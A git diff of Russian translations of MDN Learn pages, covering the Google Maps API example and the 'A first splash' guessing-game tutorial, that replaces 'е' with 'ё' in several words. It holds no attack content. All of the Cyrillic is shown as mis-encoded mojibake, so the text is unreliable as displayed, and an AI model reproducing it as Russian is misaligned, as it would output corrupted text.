ΡΠΏΠ°ΠΌΠΈΡ‚ΡŒ API с мноТСством запросов для остановки Π΅Π³ΠΎ Ρ€Π°Π±ΠΎΡ‚Ρ‹, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€). Π‘Π°ΠΌΠΎΠ΅ простоС дСйствиС - просто ΠΎΡ‚ΠΌΠ΅Π½ΠΈΡ‚ΡŒ ΠΈΡ… ΠΏΡ€ΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΠΈ API.</p>
<h2 id="Π Π°ΡΡˆΠΈΡ€Π΅Π½Π½Ρ‹ΠΉ_ΠΏΡ€ΠΈΠΌΠ΅Ρ€_ΠšΠ°Ρ€Ρ‚_Google">Π Π°ΡΡˆΠΈΡ€Π΅Π½Π½Ρ‹ΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠšΠ°Ρ€Ρ‚ Google</h2>
-<p>Π’Π΅ΠΏΠ΅Ρ€ΡŒ ΠΊΠΎΠ³Π΄Π° ΠΌΡ‹ рассмотрСли ΠΏΡ€ΠΈΠΌΠ΅Ρ€ API ΠšΠ°Ρ€Ρ‚ Google ΠΈ посмотрСли, ΠΊΠ°ΠΊ ΠΎΠ½ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚, Π΄ΠΎΠ±Π°Π²ΠΈΠΌ Π΅Ρ‰Π΅ нСсколько Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠΊΠ°Π·Π°Ρ‚ΡŒ, ΠΊΠ°ΠΊ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ API.</p>
+<p>Π’Π΅ΠΏΠ΅Ρ€ΡŒ ΠΊΠΎΠ³Π΄Π° ΠΌΡ‹ рассмотрСли ΠΏΡ€ΠΈΠΌΠ΅Ρ€ API ΠšΠ°Ρ€Ρ‚ Google ΠΈ посмотрСли, ΠΊΠ°ΠΊ ΠΎΠ½ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚, Π΄ΠΎΠ±Π°Π²ΠΈΠΌ Π΅Ρ‰Ρ‘ нСсколько Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠΊΠ°Π·Π°Ρ‚ΡŒ, ΠΊΠ°ΠΊ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ API.</p>
<ol>
<li>
@@ -96,7 +96,7 @@ var map = new google.maps.Map(document.getElementById("map_canvas"), myOptions);
<ol>
<li>ΠŸΠ΅Ρ€Π΅ΠΉΠ΄ΠΈΡ‚Π΅ Π² <a href="https://console.cloud.google.com/apis/dashboard">панСль управлСния API-интСрфСйсом Google Cloud Platform</a>.</li>
- <li>Π‘ΠΎΠ·Π΄Π°ΠΉΡ‚Π΅ Π½ΠΎΠ²Ρ‹ΠΉ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚, Ссли Ρƒ вас Π΅Π³ΠΎ Π΅Ρ‰Π΅ Π½Π΅Ρ‚.</li>
+ <li>Π‘ΠΎΠ·Π΄Π°ΠΉΡ‚Π΅ Π½ΠΎΠ²Ρ‹ΠΉ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚, Ссли Ρƒ вас Π΅Π³ΠΎ Π΅Ρ‰Ρ‘ Π½Π΅Ρ‚.</li>
<li>НаТмитС ΠΊΠ½ΠΎΠΏΠΊΡƒ <em>Enable API</em>.</li>
<li>Π’Ρ‹Π±Π΅Ρ€ΠΈΡ‚Π΅ <em>Google Maps JavaScript API</em>.</li>
<li>НаТмитС ΠΊΠ½ΠΎΠΏΠΊΡƒ <em>Enable</em>.</li>
@@ -105,10 +105,10 @@ var map = new google.maps.Map(document.getElementById("map_canvas"), myOptions);
</ol>
<div class="note">
- <p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: ΠŸΠΎΠ»ΡƒΡ‡Π΅Π½ΠΈΠ΅ ΠΊΠ»ΡŽΡ‡Π΅ΠΉ API, связанных с Google, ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ Π·Π°Ρ‚Ρ€ΡƒΠ΄Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌ: Π² ΠœΠ΅Π½Π΅Π΄ΠΆΠ΅Ρ€Π΅ API Google Cloud Platform ΠΌΠ½ΠΎΠ³ΠΎ Ρ€Π°Π·Π½Ρ‹Ρ… экранов, ΠΈ Ρ€Π°Π±ΠΎΡ‡ΠΈΠΉ процСсс ΠΌΠΎΠΆΠ΅Ρ‚ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ ΠΎΡ‚Π»ΠΈΡ‡Π°Ρ‚ΡŒΡΡ Π² зависимости ΠΎΡ‚ Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ Ρƒ вас ΡƒΠΆΠ΅ установлСна ​​учСтная запись. Если Ρƒ вас Π²ΠΎΠ·Π½ΠΈΠΊΠ½ΡƒΡ‚ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹ с этим шагом, ΠΌΡ‹ Π±ΡƒΠ΄Π΅ΠΌ Ρ€Π°Π΄Ρ‹ ΠΏΠΎΠΌΠΎΡ‡ΡŒ β€” <a href="/en-US/docs/Learn#Contact_us">Π‘Π²ΡΠΆΠΈΡ‚Π΅ΡΡŒ с Π½Π°ΠΌΠΈ</a>.</p>
+ <p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: ΠŸΠΎΠ»ΡƒΡ‡Π΅Π½ΠΈΠ΅ ΠΊΠ»ΡŽΡ‡Π΅ΠΉ API, связанных с Google, ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ Π·Π°Ρ‚Ρ€ΡƒΠ΄Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌ: Π² ΠœΠ΅Π½Π΅Π΄ΠΆΠ΅Ρ€Π΅ API Google Cloud Platform ΠΌΠ½ΠΎΠ³ΠΎ Ρ€Π°Π·Π½Ρ‹Ρ… экранов, ΠΈ Ρ€Π°Π±ΠΎΡ‡ΠΈΠΉ процСсс ΠΌΠΎΠΆΠ΅Ρ‚ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ ΠΎΡ‚Π»ΠΈΡ‡Π°Ρ‚ΡŒΡΡ Π² зависимости ΠΎΡ‚ Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ Ρƒ вас ΡƒΠΆΠ΅ установлСна ​​учётная запись. Если Ρƒ вас Π²ΠΎΠ·Π½ΠΈΠΊΠ½ΡƒΡ‚ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹ с этим шагом, ΠΌΡ‹ Π±ΡƒΠ΄Π΅ΠΌ Ρ€Π°Π΄Ρ‹ ΠΏΠΎΠΌΠΎΡ‡ΡŒ β€” <a href="/en-US/docs/Learn#Contact_us">Π‘Π²ΡΠΆΠΈΡ‚Π΅ΡΡŒ с Π½Π°ΠΌΠΈ</a>.</p>
</div>
</li>
- <li>ΠžΡ‚ΠΊΡ€ΠΎΠΉΡ‚Π΅ исходный Ρ„Π°ΠΉΠ» ΠšΠ°Ρ€Ρ‚ Google, Π½Π°ΠΉΠ΄ΠΈΡ‚Π΅ строку <code>INSERT-YOUR-API-KEY-HERE</code>, ΠΈ Π·Π°ΠΌΠ΅Π½ΠΈΡ‚Π΅ Π΅Π΅ фактичСским ΠΊΠ»ΡŽΡ‡ΠΎΠΌ API, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΠ»ΠΈ ΠΈΠ· ΠΏΠ°Π½Π΅Π»ΠΈ управлСния Google Cloud Platform API Manager.</li>
+ <li>ΠžΡ‚ΠΊΡ€ΠΎΠΉΡ‚Π΅ исходный Ρ„Π°ΠΉΠ» ΠšΠ°Ρ€Ρ‚ Google, Π½Π°ΠΉΠ΄ΠΈΡ‚Π΅ строку <code>INSERT-YOUR-API-KEY-HERE</code>, ΠΈ Π·Π°ΠΌΠ΅Π½ΠΈΡ‚Π΅ Π΅Ρ‘ фактичСским ΠΊΠ»ΡŽΡ‡ΠΎΠΌ API, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΠ»ΠΈ ΠΈΠ· ΠΏΠ°Π½Π΅Π»ΠΈ управлСния Google Cloud Platform API Manager.</li>
</ol>
<h3 id="Adding_a_custom_marker">Adding a custom marker</h3>
diff --git a/files/ru/learn/javascript/first_steps/a_first_splash/index.html b/files/ru/learn/javascript/first_steps/a_first_splash/index.html
index 9b719c4029..8ea9bbc299 100644
--- a/files/ru/learn/javascript/first_steps/a_first_splash/index.html
+++ b/files/ru/learn/javascript/first_steps/a_first_splash/index.html
@@ -23,7 +23,7 @@ original_slug: Learn/JavaScript/ΠŸΠ΅Ρ€Π²Ρ‹Π΅_шаги/A_first_splash
</tbody>
</table>
-<p>Π’Π°ΠΌ Π½Π΅ придСтся сразу ΠΏΠΎΠ½ΠΈΠΌΠ°Ρ‚ΡŒ вСсь ΠΊΠΎΠ΄ β€” ΠΌΡ‹ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ…ΠΎΡ‚ΠΈΠΌ ΠΏΠΎΠ·Π½Π°ΠΊΠΎΠΌΠΈΡ‚ΡŒ вас с Π±Π°Π·ΠΎΠ²Ρ‹ΠΌΠΈ концСпциями языка ΠΈ Π΄Π°Ρ‚ΡŒ прСдставлСниС ΠΎ Ρ‚ΠΎΠΌ, ΠΊΠ°ΠΊ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ JavaScript (ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ языки программирования). Π’ Π΄Π°Π»ΡŒΠ½Π΅ΠΉΡˆΠΈΡ… ΡΡ‚Π°Ρ‚ΡŒΡΡ… Π²Ρ‹ ΠΈΠ·ΡƒΡ‡ΠΈΡ‚Π΅ эти ΠΊΠΎΠ½Ρ†Π΅ΠΏΡ†ΠΈΠΈ Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎ!</p>
+<p>Π’Π°ΠΌ Π½Π΅ придётся сразу ΠΏΠΎΠ½ΠΈΠΌΠ°Ρ‚ΡŒ вСсь ΠΊΠΎΠ΄ β€” ΠΌΡ‹ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ…ΠΎΡ‚ΠΈΠΌ ΠΏΠΎΠ·Π½Π°ΠΊΠΎΠΌΠΈΡ‚ΡŒ вас с Π±Π°Π·ΠΎΠ²Ρ‹ΠΌΠΈ концСпциями языка ΠΈ Π΄Π°Ρ‚ΡŒ прСдставлСниС ΠΎ Ρ‚ΠΎΠΌ, ΠΊΠ°ΠΊ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ JavaScript (ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ языки программирования). Π’ Π΄Π°Π»ΡŒΠ½Π΅ΠΉΡˆΠΈΡ… ΡΡ‚Π°Ρ‚ΡŒΡΡ… Π²Ρ‹ ΠΈΠ·ΡƒΡ‡ΠΈΡ‚Π΅ эти ΠΊΠΎΠ½Ρ†Π΅ΠΏΡ†ΠΈΠΈ Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎ!</p>
<div class="note">
<p>Π‘ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²ΠΎ языковых конструкций JavaScript, с ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌΠΈ Π²Ρ‹ ΠΏΠΎΠ·Π½Π°ΠΊΠΎΠΌΠΈΡ‚Π΅ΡΡŒ (Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, Ρ†ΠΈΠΊΠ»Ρ‹ ΠΈ Ρ‚.Π΄.), ΠΈΠΌΠ΅ΡŽΡ‚ Π°Π½Π°Π»ΠΎΠ³ΠΈ Π² Π΄Ρ€ΡƒΠ³ΠΈΡ… языках программирования β€” Ρ‚.Π΅. языки ΠΈΠΌΠ΅ΡŽΡ‚ Ρ€Π°Π·Π½Ρ‹ΠΉ синтаксис, Π½ΠΎ ΠΊΠΎΠ½Ρ†Π΅ΠΏΡ†ΠΈΠΈ Π² Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²Π΅ случаСв Ρ‚Π΅ ΠΆΠ΅ самыС.</p>
@@ -34,13 +34,13 @@ original_slug: Learn/JavaScript/ΠŸΠ΅Ρ€Π²Ρ‹Π΅_шаги/A_first_splash
<p>Одним ΠΈΠ· самых Ρ‚Ρ€ΡƒΠ΄Π½Ρ‹Ρ… ΠΈ Π·Π½Π°Ρ‡ΠΈΠΌΡ‹Ρ… ΠΌΠΎΠΌΠ΅Π½Ρ‚ΠΎΠ² Π² ΠΎΠ±ΡƒΡ‡Π΅Π½ΠΈΠΈ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠΈΡ€ΠΎΠ²Π°Π½ΠΈΡŽ являСтся Π½Π΅ ΠΈΠ·ΡƒΡ‡Π΅Π½ΠΈΠ΅ нСпосрСдствСнно синтаксиса языка, Π° ΠΏΠΎΠ½ΠΈΠΌΠ°Π½ΠΈΠ΅ Ρ‚ΠΎΠ³ΠΎ ΠΊΠ°ΠΊ ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡ‚ΡŒ Π΅Π³ΠΎ для Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ Ρ€Π΅Π°Π»ΡŒΠ½Ρ‹Ρ… Π·Π°Π΄Π°Ρ‡. Π’Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ Π½Π°Ρ‡Π°Ρ‚ΡŒ Π΄ΡƒΠΌΠ°Ρ‚ΡŒ ΠΊΠ°ΠΊ программист, ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ это ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π΅:</p>
<ul>
- <li>Π‘Π½Π°Ρ‡Π°Π»Π° Π²Ρ‹ Ρ€Π°Π·Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Π΅Ρ‚Π΅ Π»ΠΎΠ³ΠΈΠΊΡƒ (структуру, Π°Π»Π³ΠΎΡ€ΠΈΡ‚ΠΌ выполнСния) ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹ β€” ΠΎΠ±Ρ‰ΠΈΠ΅ Π·Π°Π΄Π°Ρ‡ΠΈ, Ρ‡Ρ‚ΠΎ ΠΈ Π² ΠΊΠ°ΠΊΠΈΡ… случаях ΠΎΠ½Π° Π΄ΠΎΠ»ΠΆΠ½Π° Π΄Π΅Π»Π°Ρ‚ΡŒ, ΠΊΠ°ΠΊ Π΄ΠΎΠ»ΠΆΠ½Π° Π·Π°Π²Π΅Ρ€ΡˆΠΈΡ‚ΡŒΡΡ ΠΈ Ρ‚.Π΄., Ρ‚.Π΅. создаСтС описаниС ΠΏΠΎΠ»Π½ΠΎΠ³ΠΎ Ρ†ΠΈΠΊΠ»Π° Π΅Ρ‘ Ρ€Π°Π±ΠΎΡ‚Ρ‹.</li>
+ <li>Π‘Π½Π°Ρ‡Π°Π»Π° Π²Ρ‹ Ρ€Π°Π·Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Π΅Ρ‚Π΅ Π»ΠΎΠ³ΠΈΠΊΡƒ (структуру, Π°Π»Π³ΠΎΡ€ΠΈΡ‚ΠΌ выполнСния) ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹ β€” ΠΎΠ±Ρ‰ΠΈΠ΅ Π·Π°Π΄Π°Ρ‡ΠΈ, Ρ‡Ρ‚ΠΎ ΠΈ Π² ΠΊΠ°ΠΊΠΈΡ… случаях ΠΎΠ½Π° Π΄ΠΎΠ»ΠΆΠ½Π° Π΄Π΅Π»Π°Ρ‚ΡŒ, ΠΊΠ°ΠΊ Π΄ΠΎΠ»ΠΆΠ½Π° Π·Π°Π²Π΅Ρ€ΡˆΠΈΡ‚ΡŒΡΡ ΠΈ Ρ‚.Π΄., Ρ‚.Π΅. создаётС описаниС ΠΏΠΎΠ»Π½ΠΎΠ³ΠΎ Ρ†ΠΈΠΊΠ»Π° Π΅Ρ‘ Ρ€Π°Π±ΠΎΡ‚Ρ‹.</li>
<li>Π—Π°Ρ‚Π΅ΠΌ опрСдСляСтС ΠΊΠ°ΠΊΠΈΠ΅ конструкции (возмоТности) языка Π²Π°ΠΌ понадобятся ΠΈ ΠΊΠ°ΠΊ Π·Π°ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ ΠΈΡ… Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ вмСстС β€” для ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΠ³ΠΎ выполнСния всСх этапов Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Π°Π½Π½ΠΎΠΉ Π»ΠΎΠ³ΠΈΠΊΠΈ.</li>
</ul>
-<p>Всё вмСстС это ΠΏΠΎΡ‚Ρ€Π΅Π±ΡƒΠ΅Ρ‚ тяТСлой Ρ€Π°Π±ΠΎΡ‚Ρ‹, знания языка, ΠΏΡ€Π°ΠΊΡ‚ΠΈΠΊΠΈ Π² написании ΠΊΠΎΠ΄Π° - ΠΈ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ творчСства. Π§Π΅ΠΌ большС Π²Ρ‹ Π±ΡƒΠ΄Π΅Ρ‚Π΅ заняты Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ΠΌ практичСских Π·Π°Π΄Π°Ρ‡, Ρ‚Π΅ΠΌ быстрСС Π±ΡƒΠ΄Π΅Ρ‚Π΅ расти Π² ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠΈ. ΠœΡ‹ Π½Π΅ ΠΎΠ±Π΅Ρ‰Π°Π΅ΠΌ, Ρ‡Ρ‚ΠΎ Π²Ρ‹ сразу Π½Π°Ρ‡Π½Π΅Ρ‚Π΅ "Π΄ΡƒΠΌΠ°Ρ‚ΡŒ ΠΊΠ°ΠΊ программист", Π½ΠΎ прСдоставим для этого достаточно возмоТностСй Π² этой ΡΡ‚Π°Ρ‚ΡŒΠ΅.</p>
+<p>Всё вмСстС это ΠΏΠΎΡ‚Ρ€Π΅Π±ΡƒΠ΅Ρ‚ тяТёлой Ρ€Π°Π±ΠΎΡ‚Ρ‹, знания языка, ΠΏΡ€Π°ΠΊΡ‚ΠΈΠΊΠΈ Π² написании ΠΊΠΎΠ΄Π° - ΠΈ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ творчСства. Π§Π΅ΠΌ большС Π²Ρ‹ Π±ΡƒΠ΄Π΅Ρ‚Π΅ заняты Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ΠΌ практичСских Π·Π°Π΄Π°Ρ‡, Ρ‚Π΅ΠΌ быстрСС Π±ΡƒΠ΄Π΅Ρ‚Π΅ расти Π² ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠΈ. ΠœΡ‹ Π½Π΅ ΠΎΠ±Π΅Ρ‰Π°Π΅ΠΌ, Ρ‡Ρ‚ΠΎ Π²Ρ‹ сразу Π½Π°Ρ‡Π½Ρ‘Ρ‚Π΅ "Π΄ΡƒΠΌΠ°Ρ‚ΡŒ ΠΊΠ°ΠΊ программист", Π½ΠΎ прСдоставим для этого достаточно возмоТностСй Π² этой ΡΡ‚Π°Ρ‚ΡŒΠ΅.</p>
-<p>Учитывая Π²Ρ‹ΡˆΠ΅ΡΠΊΠ°Π·Π°Π½Π½ΠΎΠ΅, Π½Π° ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ простой ΠΈΠ³Ρ€Ρ‹, Π΄Π°Π²Π°ΠΉΡ‚Π΅ Π΄Π΅Ρ‚Π°Π»ΡŒΠ½ΠΎ Ρ€Π°Π·Π±Π΅Ρ€Π΅ΠΌ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ этап создания ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹ ΠΈ познакомимся с Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌΠΈ конструкциями языка.</p>
+<p>Учитывая Π²Ρ‹ΡˆΠ΅ΡΠΊΠ°Π·Π°Π½Π½ΠΎΠ΅, Π½Π° ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ простой ΠΈΠ³Ρ€Ρ‹, Π΄Π°Π²Π°ΠΉΡ‚Π΅ Π΄Π΅Ρ‚Π°Π»ΡŒΠ½ΠΎ Ρ€Π°Π·Π±Π΅Ρ€Ρ‘ΠΌ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ этап создания ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹ ΠΈ познакомимся с Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌΠΈ конструкциями языка.</p>
<h2 id="Π˜Π³Ρ€Π°_Β«Π£Π³Π°Π΄Π°ΠΉ_число»">Π˜Π³Ρ€Π° Β«Π£Π³Π°Π΄Π°ΠΉ число»</h2>
@@ -159,12 +159,12 @@ original_slug: Learn/JavaScript/ΠŸΠ΅Ρ€Π²Ρ‹Π΅_шаги/A_first_splash
<p>{{ EmbedLiveSample('Top_hidden_code', '100%', 320) }}</p>
-<p>ΠŸΠΎΠΈΠ³Ρ€Π°ΠΉΡ‚Π΅ Π² Π½Π΅Π΅ - ΠΏΠΎΠ·Π½Π°ΠΊΠΎΠΌΡŒΡ‚Π΅ΡΡŒ с ΠΈΠ³Ρ€ΠΎΠΉ, ΠΏΡ€Π΅ΠΆΠ΄Π΅ Ρ‡Π΅ΠΌ Π΄Π²ΠΈΠ³Π°Ρ‚ΡŒΡΡ дальшС.</p>
+<p>ΠŸΠΎΠΈΠ³Ρ€Π°ΠΉΡ‚Π΅ Π² Π½Π΅Ρ‘ - ΠΏΠΎΠ·Π½Π°ΠΊΠΎΠΌΡŒΡ‚Π΅ΡΡŒ с ΠΈΠ³Ρ€ΠΎΠΉ, ΠΏΡ€Π΅ΠΆΠ΄Π΅ Ρ‡Π΅ΠΌ Π΄Π²ΠΈΠ³Π°Ρ‚ΡŒΡΡ дальшС.</p>
<p>Π”Π°Π²Π°ΠΉΡ‚Π΅ прСдставим, Ρ‡Ρ‚ΠΎ ваш босс Π΄Π°Π» Π²Π°ΠΌ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΡƒΡŽ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ для создания этой ΠΈΠ³Ρ€Ρ‹:</p>
<blockquote>
-<p>Π― Ρ…ΠΎΡ‡Ρƒ Ρ‡Ρ‚ΠΎΠ±Ρ‹ Ρ‚Ρ‹ создал ΠΏΡ€ΠΎΡΡ‚ΡƒΡŽ ΠΈΠ³Ρ€Ρƒ ΠΏΠΎ ΠΏΡ€ΠΈΠ½Ρ†ΠΈΠΏΡƒ "Π£Π³Π°Π΄Π°ΠΉ число". Π˜Π³Ρ€Π° Π΄ΠΎΠ»ΠΆΠ½Π° случайным ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ Π³Π΅Π½Π΅Ρ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ число ΠΎΡ‚ 0 Π΄ΠΎ 100, Π·Π°Ρ‚Π΅ΠΌ ΠΈΠ³Ρ€ΠΎΠΊ Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΎΡ‚Π³Π°Π΄Π°Ρ‚ΡŒ это число Π·Π° 10 ΠΏΠΎΠΏΡ‹Ρ‚ΠΎΠΊ. ПослС ΠΊΠ°ΠΆΠ΄ΠΎΠΉ ΠΏΠΎΠΏΡ‹Ρ‚ΠΊΠΈ ΠΈΠ³Ρ€ΠΎΠΊΡƒ ΡΠΎΠΎΠ±Ρ‰Π°ΡŽΡ‚ ΡƒΠ³Π°Π΄Π°Π» ΠΎΠ½ число ΠΈΠ»ΠΈ Π½Π΅ ΡƒΠ³Π°Π΄Π°Π» ΠΈ Ссли ΠΎΠ½ ошибся, Ρ‚ΠΎ Π΅ΠΌΡƒ сообщаСтся, Ρ‡Ρ‚ΠΎ Π·Π°Π³Π°Π΄Π°Π½Π½ΠΎΠ΅ число большС ΠΈΠ»ΠΈ ΠΌΠ΅Π½ΡŒΡˆΠ΅Β Ρ‚ΠΎΠ³ΠΎ, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΎΠ½ Π²Π²Π΅Π». Π’Π°ΠΊ ΠΆΠ΅ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Ρ‚ΡŒ ΠΈΠ³Ρ€ΠΎΠΊΡƒ числа ΠΈΠ· Π΅Π³ΠΎ ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΠΈΡ…Β ΠΏΠΎΠΏΡ‹Ρ‚ΠΎΠΊ.Β Π˜Π³Ρ€Π° Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΠΊΠΎΠ½Ρ‡Π΅Π½Π°, Ссли ΠΈΠ³Ρ€ΠΎΠΊ ΡƒΠ³Π°Π΄Π°Π» число Π²Π΅Ρ€Π½ΠΎ ΠΈΠ»ΠΈ Ссли Ρƒ Π½Π΅Π³ΠΎ кончатся всС ΠΏΠΎΠΏΡ‹Ρ‚ΠΊΠΈ. ПослС окончания ΠΈΠ³Ρ€Ρ‹ ΠΈΠ³Ρ€ΠΎΠΊΡƒ Π±ΡƒΠ΄Π΅Ρ‚ Π΄Π°Π½Π° Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΡΡ‹Π³Ρ€Π°Ρ‚ΡŒ Π² ΠΈΠ³Ρ€Ρƒ Π΅Ρ‰Π΅ Ρ€Π°Π·.</p>
+<p>Π― Ρ…ΠΎΡ‡Ρƒ Ρ‡Ρ‚ΠΎΠ±Ρ‹ Ρ‚Ρ‹ создал ΠΏΡ€ΠΎΡΡ‚ΡƒΡŽ ΠΈΠ³Ρ€Ρƒ ΠΏΠΎ ΠΏΡ€ΠΈΠ½Ρ†ΠΈΠΏΡƒ "Π£Π³Π°Π΄Π°ΠΉ число". Π˜Π³Ρ€Π° Π΄ΠΎΠ»ΠΆΠ½Π° случайным ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ Π³Π΅Π½Π΅Ρ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ число ΠΎΡ‚ 0 Π΄ΠΎ 100, Π·Π°Ρ‚Π΅ΠΌ ΠΈΠ³Ρ€ΠΎΠΊ Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΎΡ‚Π³Π°Π΄Π°Ρ‚ΡŒ это число Π·Π° 10 ΠΏΠΎΠΏΡ‹Ρ‚ΠΎΠΊ. ПослС ΠΊΠ°ΠΆΠ΄ΠΎΠΉ ΠΏΠΎΠΏΡ‹Ρ‚ΠΊΠΈ ΠΈΠ³Ρ€ΠΎΠΊΡƒ ΡΠΎΠΎΠ±Ρ‰Π°ΡŽΡ‚ ΡƒΠ³Π°Π΄Π°Π» ΠΎΠ½ число ΠΈΠ»ΠΈ Π½Π΅ ΡƒΠ³Π°Π΄Π°Π» ΠΈ Ссли ΠΎΠ½ ошибся, Ρ‚ΠΎ Π΅ΠΌΡƒ сообщаСтся, Ρ‡Ρ‚ΠΎ Π·Π°Π³Π°Π΄Π°Π½Π½ΠΎΠ΅ число большС ΠΈΠ»ΠΈ ΠΌΠ΅Π½ΡŒΡˆΠ΅Β Ρ‚ΠΎΠ³ΠΎ, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΎΠ½ Π²Π²Ρ‘Π». Π’Π°ΠΊ ΠΆΠ΅ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Ρ‚ΡŒ ΠΈΠ³Ρ€ΠΎΠΊΡƒ числа ΠΈΠ· Π΅Π³ΠΎ ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΠΈΡ…Β ΠΏΠΎΠΏΡ‹Ρ‚ΠΎΠΊ.Β Π˜Π³Ρ€Π° Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΠΊΠΎΠ½Ρ‡Π΅Π½Π°, Ссли ΠΈΠ³Ρ€ΠΎΠΊ 